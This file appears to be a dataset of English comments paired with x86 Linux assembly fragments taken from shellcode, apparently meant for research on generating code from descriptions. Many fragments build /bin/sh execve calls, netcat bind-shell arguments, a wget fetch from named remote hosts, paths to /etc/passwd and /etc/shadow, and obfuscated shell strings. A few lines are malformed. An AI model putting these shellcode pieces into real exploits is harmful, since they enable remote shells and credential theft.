pop eax
; load __nr_write into eax
push byte 4
pop eax
; put the syscall 4 into the eax register
push byte 4
pop eax
; push the byte 49 onto the stack
push byte 49
; put the syscall 49 into the eax register
push byte 49
pop eax
; push 5 on stack
push byte 5
; push the byte 5 onto the stack
push byte 5
; load byte 5 into eax register
push byte 5
pop eax
; load __nr_open into eax register
push byte 5
pop eax
; put the syscall 5 into the eax register
push byte 5
pop eax
; push the byte 54 onto the stack
push byte 54
; put the syscall 54 into the eax register
push byte 54
pop eax
; push byte 6 onto the stack
push byte 6
; push the byte 6 onto the stack
push byte 6
; push the byte 6 to the stack
push byte 6
; put the syscall 6 into the eax register
push byte 6
pop eax
; push the byte 6, 0x1 and 10 on stack
push byte 6
push byte 0x1
push byte 10
; push the byte 67 onto the stack
push byte 67
; load sigaction syscall number into eax register
push byte 67
pop eax
; put the syscall 67 into the eax register
push byte 67
pop eax
; push the byte 70 onto the stack
push byte 70
; put the syscall 70 into the eax register
push byte 70
pop eax
; push the byte 8 onto the stack
push byte 8
; load __nr_creat into al register
push byte 8 \ n pop eax
; put the syscall 8 into the eax register
push byte 8
pop eax
; push the byte 9 onto the stack
push byte 9
; put the syscall 9 into the eax register
push byte 9
pop eax
; push the byte chmod_call onto the stack
push byte chmod_call
; move the function chmod in al register
push byte chmod_call
pop eax
; put the byte my_label into the eax register
push byte CHMOD_CALL
pop eax
; put the byte CHMOD_CALL into the eax register
push byte CHMOD_CALL
pop eax
; put the byte L1 into the eax register
push byte L1
pop eax
; put the byte my_value into the eax register
push byte my_value
pop eax
; put the byte VALUE into the eax register
push byte VALUE
pop eax
; push the contents of the cx register onto the stack
push cx
; push the dword [ebp+16] onto the stack
push dword [ebp+16]
; push the double word stored a edx+2 location on stack
push dword [edx+2]
; push the doubleword [edx+2] to the stack
push dword [edx+2]
; push the dword [edx+2] onto the stack
push dword [edx+2]
; push the doubleword 0x00000000 onto the stack
push dword 0x00000000
; push the dword 0x0101017f onto the stack
push dword 0x0101017f
; push the dword 0x017aa8c0 onto the stack
push dword 0x017aa8c0
; push the value of local ip = 192.168.1.5 on stack
push dword 0x0501a8c0
; push the dword 0x0501a8c0 onto the stack
push dword 0x0501a8c0
; push the double word 0x0a206873 onto the stack
push dword 0x0a206873
; push the dword 0x10 onto the stack
push dword 0x10
; push the double word 2 onto the stack
push dword 0x2
; push the dword 0x214c4f4c onto the stack
push dword 0x214c4f4c
; push the double word 0x2335738c onto the stack
push dword 0x2335738c
; push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the eax register to the stack register
push dword 0x2f2f2f2f
push dword 0x7273752f
mov eax, esp
; push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ebx register to the stack register
push dword 0x2f2f2f2f
push dword 0x7273752f
mov ebx, esp
; push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ecx register to the stack register
push dword 0x2f2f2f2f
push dword 0x7273752f
mov ecx, esp
; push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the edx register to the stack register
push dword 0x2f2f2f2f
push dword 0x7273752f
mov edx, esp
; push the dword 0x2f2f6e69 onto the stack
push dword 0x2f2f6e69
; push the doubleword 0x2f2f6e69 to the stack
push dword 0x2f2f6e69
; push the double word 0x2f3a2f3a onto the stack
push dword 0x2f3a2f3a
; push the dword 0x2f3a3a30 onto the stack
push dword 0x2f3a3a30
; push the double word 0x2f6e6962 onto the stack
push dword 0x2f6e6962
; push the double word 0x303a3a31 onto the stack
push dword 0x303a3a31
; push the double word 0x313a303a onto the stack
push dword 0x313a303a
; push double word 0x39396e2d onto the stack and point the ebp register to the stack register
push dword 0x39396e2d
mov ebp, esp
; push double word 0x39396e2d onto the stack and point the ebx register to the stack register
push dword 0x39396e2d
mov ebx, esp
; push double word 0x39396e2d onto the stack and point the edi register to the stack register
push dword 0x39396e2d
mov edi, esp
; push double word 0x39396e2d onto the stack and point the esi register to the stack register
push dword 0x39396e2d
mov esi, esp
; push the dword 0x3a303a3a onto the stack
push dword 0x3a303a3a
; push the doubleword 0x4227a28b onto the stack
push dword 0x4227a28b
; push the dword 0x45525649 onto the stack
push dword 0x45525649
; push the dword 0x58494741 onto the stack
push dword 0x58494741
; push the dword 0x5f657a69 onto the stack
push dword 0x5f657a69
; push the dword 0x6164732f onto the stack
push dword 0x6164732f
; push the dword 0x61702f2f onto the stack
push dword 0x61702f2f
; push the dword 0x61702f63 onto the stack
push dword 0x61702f63
; push the dword 0x61722f6c onto the stack
push dword 0x61722f6c
; push the doubleword 0x61747069 to the stack
push dword 0x61747069
; push the dword 0x61747069 onto the stack
push dword 0x61747069
; push the dword 0x62732f2f onto the stack
push dword 0x62732f2f
; push the doubleword 0x62732f2f to the stack
push dword 0x62732f2f
; push the doubleword 0x62732f2f onto the stack and point the ebx register to the stack register
push dword 0x62732f2f
mov ebx, esp
; push the dword 0x6374652f onto the stack
push dword 0x6374652f
; push the dword 0x64616568 onto the stack
push dword 0x64616568
; push the dword 0x64777373 onto the stack
push dword 0x64777373
; push edx, the byte +0x74 and the chined double words Ô/usr/bin/wgeÕ into ebx register
push dword 0x6567772f
push dword 0x6e69622f
push dword 0x7273752f
mov ebx, esp
; push the dword 0x656e7265 onto the stack
push dword 0x656e7265
; push the string Ôb3mb4m.github.io//exec/hÕ on stack as chained double words
push dword 0x682f6365
push dword 0x78652f2f
push dword 0x6f692e62
push dword 0x75687469
push dword 0x672e6d34
push dword 0x626d3362
; push hs// onto stack
push dword 0x68732f2f
; push the dword 0x68732f2f onto the stack
push dword 0x68732f2f
; push the dword 0x68732f63 onto the stack
push dword 0x68732f63
; push the dword 0x68732f6e onto the stack
push dword 0x68732f6e
; push the dword 0x69622f2f onto the stack
push dword 0x69622f2f
; push the dword 0x69622f3a onto the stack
push dword 0x69622f3a
; push the dword 0x6962732f onto the stack
push dword 0x6962732f
; push the dword 0x6b2f7379 onto the stack
push dword 0x6b2f7379
; push the dword 0x6b6e756a onto the stack
push dword 0x6b6e756a
; push the dword 0x6d6f646e onto the stack
push dword 0x6d6f646e
; push nib/ onto stack
push dword 0x6e69622f
; push the dword 0x6e69622f onto the stack
push dword 0x6e69622f
; push the dword 0x6e69922f onto the stack
push dword 0x6e69922f
; push the dword 0x6f702f6e onto the stack
push dword 0x6f702f6e
; push the dword 0x6f726577 onto the stack
push dword 0x6f726577
; push the dword 0x7264632f onto the stack
push dword 0x7264632f
; push the dword 0x72657355 onto the stack
push dword 0x72657355
; push the dword 0x732f636f onto the stack
push dword 0x732f636f
; push the doubleword 0x73656c62 to the stack
push dword 0x73656c62
; push the dword 0x73656c62 onto the stack
push dword 0x73656c62
; load the string iptables in edi regsiter and load the string //sbin // in ebx regsiter
push dword 0x73656c62
push dword 0x61747069
mov edi,esp
push dword 0x2f2f6e69
push dword 0x62732f2f
mov ebx, esp
; push the dword 0x7461632f onto the stack
push dword 0x7461632f
; push the dword 0x74652f2f onto the stack
push dword 0x74652f2f
; push double word 0x74652f2f onto the stack and point the eax register to the stack register
push dword 0x74652f2f
mov eax, esp
; push double word 0x74652f2f onto the stack and point the ebp register to the stack register
push dword 0x74652f2f
mov ebp, esp
; push double word 0x74652f2f onto the stack and point the ebx register to the stack register
push dword 0x74652f2f
mov ebx, esp
; push double word 0x74652f2f onto the stack and point the ecx register to the stack register
push dword 0x74652f2f
mov ecx, esp
; push double word 0x74652f2f onto the stack and point the edx register to the stack register
push dword 0x74652f2f
mov edx, esp
; push double word 0x74652f2f onto the stack and point the esi register to the stack register
push dword 0x74652f2f
mov esi, esp
; push the dword 0x7665642f onto the stack
push dword 0x7665642f
; push the dword 0x776f6461 onto the stack
push dword 0x776f6461
; push ipv4 address 192.168.64.129 (hex) on stack
push dword 0x8140a8c0
; push the doubleword 0x8140a8c0 to the stack
push dword 0x8140a8c0
; push the double word content of eax on stack
push dword eax
; push the doube word eax content on stack
push dword eax
; push sin6_addr as dword eax
push dword eax
; push the doubleword eax to the stack
push dword eax
; push the dword eax onto the stack
push dword eax
; push the double word eax content on stacck two times
push dword eax
push dword eax
; push 4 times dword contained in eax that represent ipv6 loopback
push dword eax
push dword eax
push dword eax
push dword eax
; push ipv6 loopback on stack as x4 dword eax
push dword eax
push dword eax
push dword eax
push dword eax
; push eax content as double word for 4 times
push dword eax
push dword eax
push dword eax
push dword eax
; push the string v6_host.sin6_addr on stack
push dword eax
push dword eax
push dword eax
push dword eax
push dword eax
; push sin6_flowinfo=4 byte saved in ebx on stack
push dword ebx
; push the doubleword ebx to the stack
push dword ebx
; push ebx content as a double word on stack two times
push dword ebx
push dword ebx
; push dx rergister on the stack
push dx
; push dx content on stack
push dx
; push dx onto the stack
push dx
; push eax onto stack
push eax
; push eax on the stack
push eax
; push eax contents on the stack
push eax
; push null terminating string on stack
push eax
; push null
push eax
; push eax content on the stack
push eax
; push zero on the stack
push eax
; push eax content on stack
push eax
; push in eax the argument no=0
push eax
; push sin6_addr = in6addr_any = ::0
push eax
; push zero on stack
push eax
; push null terminator on stack
push eax
; push eax(socket file descriptor) onto stack
push eax
; push nulls for string termination
push eax
; push null byte as string terminator
push eax
; push null into the stack
push eax
; push null on stack
push eax
; move 0 to stack (protocol=0)
push eax
; push 0 (=eax)
push eax
; push ipproto_ip = 0 (eax) on stack
push eax
; push sin6_addr, saved in eax, on stack
push eax
; push null byte on stack
push eax
; push null terminator
push eax
; preserve eax on the stack
push eax
; push eax onto the stack
push eax
; push eax to the stack
push eax
; push eax value to the stack
push eax
; push the contents of eax onto the stack
push eax
; push the contents of eax register onto the stack
push eax
; push the contents of the eax register onto the stack
push eax
; push the value of register eax onto the stack
push eax
; push eax on stack then increment its conent
push eax
inc eax
; push the contents of the eax register onto the stack and point ebx to the stack register
push eax
mov ebx, esp
; push the contents of the eax register onto the stack and point ecx to the stack register
push eax
mov ecx, esp
; push null terminating string and Ô/bin/shÕ to the stack
push eax
mov edi, 0x343997b7
rol edi, 1
push edi
mov esi, 0xd2c45e5e
ror esi, 1
push esi
; clear edx
push eax
mov edx, esp
; push null in the edx position
push eax
mov edx, esp
; clear eax register
push eax
mov edx, esp
; envp = 0
push eax
mov edx, esp
; load eax into edx register
push eax
mov edx, esp
; push the contents of the eax register onto the stack and point edx to the stack register
push eax
mov edx, esp
; insert null in edx and ecx
push eax
mov edx, esp
push eax
mov ecx, esp
; zero out edx and ecx register
push eax
mov edx, esp
push eax
mov ecx, esp
; execute __nr_execve syscall
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
; push null temrinating string on edx
push eax
mov edx,esp
; move eax by inserting it in the stack in ecx extracting it from the stack
push eax
pop ecx
; load 0 into edi register
push eax
pop edi
; transfer eax contents into edx register
push eax
pop edx
; load eax content into edx
push eax
pop edx
; push eax and the hexadecimal value 0x30 on the stack
push eax
push 0x30
; load chained null and the arg -vp17771 into esi register
push eax
push 0x31373737
push 0x3170762d
mov esi, esp
; push 0, port number = 5555, command -ltp on stack. ecx point to the top pf the stack.
push eax
push 0x35353535
push 0x70746c2d
mov ecx, esp
; push 0-term, 9999, 9pl- on the stack
push eax
push 0x39393939
push 0x39706c2d
; push null terminated string ÔhackÕ on stack
push eax
push 0x4b434148
; load chained null and the arg /bin//nc into ebx register
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; push 0-term, cn/n, ib// on the stack
push eax
push 0x636e2f6e
push 0x69622f2f
; push 0-term, gifn, oc_d, hss/, hss/, cte/ on the stack
push eax
push 0x6769666e
push 0x6f635f64
push 0x6873732f
push 0x6873732f
push 0x6374652f
; load Ô/bin//sh\0Õ intp ebx register
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; load Ô/bin//sh\0Õ into ebx register
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; load chained null and the arg -le//bin//sh into edi register
push eax
push 0x68732f2f
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
; load chained null and the arg -le//bin//sh into edx register
push eax
push 0x68732f2f
push 0x6e69622f
push 0x2f656c2d
mov edx, esp
; execute execve syscall putting null temrinated string Ô/bin//shÕ into ebx register, the parameter 0 into edx and the syscall code into al register.
push eax
push 0x68732f2f
push 0x6e69622f
push ebx, esp
mov edx, eax
mov al, 0xb
int 0x80
; load the string //bin/sh\0 into ebx regsiter
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; push 0-term, hsab, /nib, //e- on the stack
push eax
push 0x68736162
push 0x2f6e6962
push 0x2f2f652d
; save null terminated string Ô3.meximas.com////b3mb4m/hellÕ into ecx register
push eax
push 0x6c6c6568
push 0x2f6d3462
push 0x6d33622f
push 0x2f2f2f6d
push 0x6f632e73
push 0x616d6978
push 0x656d2e33
mov ecx, esp
; load null terminate string Ô/bin/dasÕ into ebx regsiter
push eax
push 0x7361642f
push 0x6e69622f
mov ebx, esp
; push 0-term, tac/, nib/ on the stack
push eax
push 0x7461632f
push 0x6e69622f
; load null terminated string Ô////usr/bin/wgetÕ intp ebx regsiter
push eax
push 0x74656777
push 0x2f6e6962
push 0x2f727375
push 0x2f2f2f2f
mov ebx, esp
; load null temrinated string Ô/sbin/rebootÕ into ebx register
push eax
push 0x746f6f62
push 0x65722f6e
push 0x6962732f
mov ebx, esp
; load null terminated string Ôsbin/rebootÕ into ebx register
push eax
push 0x746f6f62
push 0x65722f6e
push 0x6962732f
mov ebx, esp
; load eax content and the byte +0x68 into ebx register
push eax
push byte +0x68
mov ebx,esp
; push the parameters (0, sock_stream =1, af_inet=2) on stack
push eax
push byte 0x1
push byte 0x2
; push the protocol 0, the type, sock_stream, and the domain af_inet on the stack and then load the stack pointer into ecx register
push eax
push byte 0x1
push byte 0x2
mov ecx, esp
; put 0-term and the word 99n- on stack
push eax
push dword 0x39396e2d
; put 0-term and the double words daeh, /nib, ////, rsu/ on the stack
push eax
push dword 0x64616568
push dword 0x2f6e6962
push dword 0x2f2f2f2f
push dword 0x7273752f
; put 0-term, dwss, ap/c, te// on stack
push eax
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
; push eax content on the stack 2 times
push eax
push eax
; push null two times on stack
push eax
push eax
; load eax two times, ecx and ebx into ecx register
push eax
push eax
push ecx
push ebx
mov ecx, esp
; push eax, ebp, edi, esi, ebx on the stack
push eax
push ebp
push edi

push esi
push ebx
; push eax and ebx content on stack
push eax
push ebx
; push ebx and eax on stack
push eax
push ebx
; push eax and ebx contents on stack
push eax
push ebx
; load eax and ebx contents chained into ecx register
push eax
push ebx
mov ecx, esp
; push eax,ecx and ebx contents on stack
push eax
push ecx
push ebx
; push eax, ecx and esi on the stack and then load the stack pointer in ecx register
push eax
push ecx
push esi
mov ecx,esp
; push eax and edi contents on the stack
push eax
push edi
; push 0-term, the args in edi, the args in esi and the pointer to /user////bin/head on the stack
push eax
push edi
push esi
push ebx
; load eax, edi, esi, ebx contents into ecx register
push eax
push edi
push esi
push ebx
mov ecx, esp
; chain the register eax,edi, esi, ebx and load the contents on ecx register
push eax
push edi
push esi
push ebx
mov ecx, esp
; concatenate the content of eax, edi, esi, ebx and load them into ecx register
push eax
push edi
push esi
push ebx
mov ecx, esp